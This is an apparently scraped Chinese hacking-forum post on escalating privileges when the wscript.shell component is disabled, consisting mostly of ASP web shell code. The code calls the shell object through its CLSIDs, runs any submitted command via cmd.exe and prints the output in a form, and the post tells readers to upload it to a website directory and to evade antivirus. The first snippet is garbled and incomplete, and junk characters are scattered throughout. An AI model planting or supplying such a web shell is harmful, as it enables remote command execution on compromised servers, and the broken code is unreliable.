没有wscript.shell组件提权方法

admin

• 可能有很多人，看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
  
• 一般当闭上面组件时，你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
  
• 要想让运行命令可以试试这种方法，成功率为五五之数。
  ) x; f' H) S  n$ g5 P6 s1 w
• 把下面代码复制：
  - p! Z% E+ j: Y( a+ T5 D+ Y* s1 H
• <%
  . \; {" G4 X, E, E. [
• end if
  
• response.write(”")
  * v" {* }; R3 g+ B+ w! b6 ^
• On Error Resume
  
• Next
  
• response.write oScriptlhn.exec(”cmd.exe /c” &
  ' `2 z3 m% d3 p2 X
• request(”c”)).stdout.readall
  
• response.write(”")
  * r$ E& s0 C6 E) }
• response.write(”")
  
• response.write(”
  ) u/ k2 |& N( n
• “)
  6 A  h5 h) x/ R( @
• response.write(”")
  
• %>
  
• 保存为一个asp文件，然后传到网站目录上去
  
• 运行的时候可能会出现两个问题，第一是运行了为什么运行不了命令，这个你可以试着再上传个cmd.exe然后把路径写入上面代码。
  
• 我用此成功运行过cacls命令。
  
• 第二那就是运行时出错，可能限制某些代码执行
  
• 无wscript.shell组件提权又一个方法
  6 S7 g: @+ R0 u" S* W2 i; x
• <object runat=server id=oScriptlhn scope=page
  . A1 p, H4 f2 W! K
• 
  
• classid=”clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8″></object>
  ) }4 I1 d, _! X3 k. m+ |
• <%if err then%>
  
• <object runat=server id=oScriptlhn scope=page
  3 V. K! P) |9 C7 W, `; k$ N
• 
  1 \9 ]! r( g- i
• classid=”clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B”></object>
  
• <%
  ) \  N1 @, w. x/ `3 I) R# l
• end if
  
• response.write(”<textarea readonly cols=80
  . f/ o% p* C, P0 W
• 
  + ]; w, G- w+ B! I7 V
• rows=20>”)
  # l) s9 i/ C  N/ b, k4 B( U
• On Error Resume Next
  
• response.write
  : z+ V% t5 d  B1 \: Q9 w0 S
• 
  1 b7 O# {: ~2 D" g0 E& N9 J
• oScriptlhn.exec(”cmd.exe /c” & request(”c”)).stdout.readall
  
• response.write(”</textarea>”)
  : V% J' q- i6 K" N8 T& Y
• response.write(”<form
  2 T8 I: k( T8 p8 `* M: ~$ @
• 
  
• method=’post’>”)
  ( |! R% j* D& f
• response.write(”<input type=text name=’c'
  ; u. |: r/ p/ w4 C+ S+ B
• 
  
• size=60><br>”)
  
• response.write(”<input type=submit
  
• 
  
• value=’执行’></form>”)
  
• %>
  
• 保存为ASP，此代码可能被杀，请注意免杀。
  ' i$ B2 |( @) Y0 }
• 原理：有些人把wscript.shell改名了,但是clsid没有变，所以调用这个clsid就等于调用ws组建
  $ O5 H0 u9 \3 U! n" \

复制代码